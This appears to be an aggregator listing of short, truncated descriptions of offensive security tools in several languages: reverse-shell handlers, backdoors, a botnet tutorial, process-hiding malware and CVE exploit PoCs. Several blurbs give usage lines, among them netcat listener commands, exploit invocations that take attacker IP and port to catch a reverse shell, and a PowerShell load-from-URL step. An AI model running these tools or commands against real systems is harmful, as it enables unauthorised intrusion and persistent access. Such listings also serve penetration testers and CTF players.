webhandler

WebHandler Un manejador para las funciones de sistema de PHP y también una alternativa al manejador 'netcat' Información WebHandler intenta simular un 'prompt bash de Linux' para manejar y procesar: root@kitploit: - Funciones de ejecución de programas PHP p. ej., system, passthru, exec, etc. -...

botnet-hackpack

简单 C&C 僵尸网络 本 hackpack 将引导你实现一个基本的框架，它从根本上来刻画僵尸网络的特征。如果你之前用过 C 语言，可能会更容易上手。如果你喜欢这个教程，请务必给这个仓库点个 star！ 注意：不要将在本教程中学到的任何东西用于恶意目的。本 hackpack 仅仅是对僵尸网络的案例研究，仅用于教育目的。在本 hackpack 中学到的概念具有广泛的应用场景（基本上任何与网络相关的事情都是如此）。最重要的是，本 hackpack 仅用于本地测试和部署（所以请不要将你基于本 hackpack 构建的任何东西分享给其他黑客）。隐私很重要，请尊重它。 什么是僵尸网络？...

rustcat

rustcat - The modern port listener and reverse shell What is Rustcat Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible. Modes Listen mode listen; Reverse shell mode connect; Features Command history & Tab completion...

Log4j

1.创建一个示例漏洞应用程序。 2.启动一个netcat监听器。 3.运行漏洞利用程序。 5.使用jdk1.8.020以获得更好的结果。 Exploit-db - https://www.exploit-db.com/exploits/50592...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

CVE-2018-2893

本软件仅限用于学习交流禁止用于任何非法行为 起这个名字主要目的是蹭一下2893的热度，反弹shell生成器 主要作用是生成自己的外网nc监听对象，希望可以帮助到一些代码小白，2893 2628不适用需要借助第三方服务端口生成远程服务 github搬运工...

dbd

d8888b. d8888b. d8888b. 88 8D 88 8D 88 8D 88 88 88oooY' 88 88 88 88 88b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D' Durandal的后门 版权所有 C 2013 Kyle Barnthouse [email protected] dbd 遵循 GNU GPL 协议发布 Mipsbe 二进制由 Darkerego 添加 https://github.com/darkerego mailto:[email protected] 简介 dbd...

penelope

Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC 工具 ======= BadBash 是一个 CVE-2014-6271 RCE 漏洞利用工具。基础版仅检查 HTTP CGI 站点，并仅提供在端口 1234 上的 netcat 反向 shell。 开发者 : Andy Yang 版本 : 0.1.0 许可证 : GPLv3 原始 GitHub 项目 : https://github.com/RainMak3r/Rainstorm...

CrestCrack

CrestCrack CrestCrack 是一个简单的脚本，用于利用 Crestron AirMedia AM-100（v1.1.1.11 - v1.2.1）中的 CVE-2016-5640 / CLVA-2016-05-002。提供参数后，CrestCrack 将利用 netcat 在目标和您选择的 netcat 监听器之间创建反弹 shell。 设置： 1. 克隆一份 CrestCrack git clone https://github.com/vpnguy/CrestCrack 2. 启动一个 netcat 监听器 nc -lvp 1337 3. 使用你的监听器信息对目标执行...

CVE-2018-8174_EXP

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit for CVE-2018-8174 optional arguments: -h, --help show this help message and exit -u URL, --url URL exp url -o OUTPUT, --output OUTPUT Output exploit rtf -i IP, --ip IP ip for netcat -p PORT, --port PORT port for...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

Arduino-Netcat-Backdoor

Arduino - Netcat - Backdoor para Windows Se aceptan sugerencias de nombre. root@kitploit: Prueba de concepto. No está destinado para uso real. No me hago responsable por lo que otros hagan con esto. Ataca una máquina Windows con Windows 7 o posterior, creando una puerta trasera persistente...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 该仓库包含针对 Rejetto HTTP 文件服务器 HFS 2.3.x 远程命令执行漏洞的详细说明和可用 PoC。 配置： 创建一个 netcat 监听器。 root@kitploit: nc -lnvp 1234 将攻击者 IP 改为你的 IP 和端口。 同时，在 nc.exe 所在的同一目录下创建一个 HTTP 文件服务器。 root@kitploit: python -m http.server 80 使用方法： root@kitploit: python...

CVE-2024-36401

CVE-2024-36401 这是用于检查CVE-2024-36401漏洞的程序。 使用方法 首先，执行以下命令，进入通信监听状态。 root@kitploit: nc -lvnp 9000 然后在另一个终端窗口中执行文件。 root@kitploit: python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 目标的域名或IP地址 --targetport 托管目标服务的端口号 --myip 自己的IP地址 --myport...

CVE-2021-21315

使用Rust语言编写的CVE-2021-21315漏洞利用代码 我是Rust新手，所以这段代码是我Rust语言练习的一部分 是的！！让我们获取反弹shell吧！！！！！！！ !仅供教育或研究使用 构建 root@kitploit: cargo build 用法 root@kitploit: ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 需要Netcat监听器来捕获反弹shell root@kitploit: nc -nlvp nc -nlvp 1234...

powercat

powercat Netcat: The powershell version. Powershell Version 2 and Later Supported Installation powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded...

powercat

powercat Netcat：PowerShell 版本。（支持 PowerShell 2 及以上版本） 安装 powercat 是一个 PowerShell 函数。首先，你需要加载该函数才能执行它。你可以将以下命令之一放入你的 PowerShell 配置文件中，以便在 PowerShell 启动时自动加载 powercat。 root@kitploit: 从下载的 .ps1 文件加载函数： . .\powercat.ps1 从 URL 加载函数： IEX New-Object...

LinPwn

LinPwn 关于 LinPwn 是一个交互式工具，旨在帮助您进行后期利用枚举和权限提升。 连接 在 Connection 类中设置您希望其连接的IP和端口。 将 LinPwn 二进制文件放置在目标机器上。 在您的机器上运行 nc -lvp PORT，然后在目标机器上运行 LinPwn 以获取连接。 用法 1. shell - 此命令执行 /bin/sh 示例用法：LinPwn: Shell id 输入 exit 返回到 LinPwn。 2. readfile - 此命令将打印文件的内容。 示例用法：LinPwn: ReadFile /etc/passwd 输入 exit 返回到...

JShell

JShell JShell - 获取一个具有XSS功能的JavaScript Shell。 用法 运行 shell.py ，JShell将自动尝试检测您的IP地址，默认LPORT为 33 。 如您所见，payload已生成，现在您需要做的就是将此payload传递给受害者。 一旦完成，您将得到一个基于netcat的JS shell，可以在受害者浏览器中执行您的JavaScript代码，一旦注入的页面被打开。 以下是截图： 致谢、免责声明与许可证 本脚本使用了由 Rodolfo Assis 演示的方法 免责声明： 我对此工具所造成的任何后果不负责任。 本作品采用 知识共享署名4.0国际许可...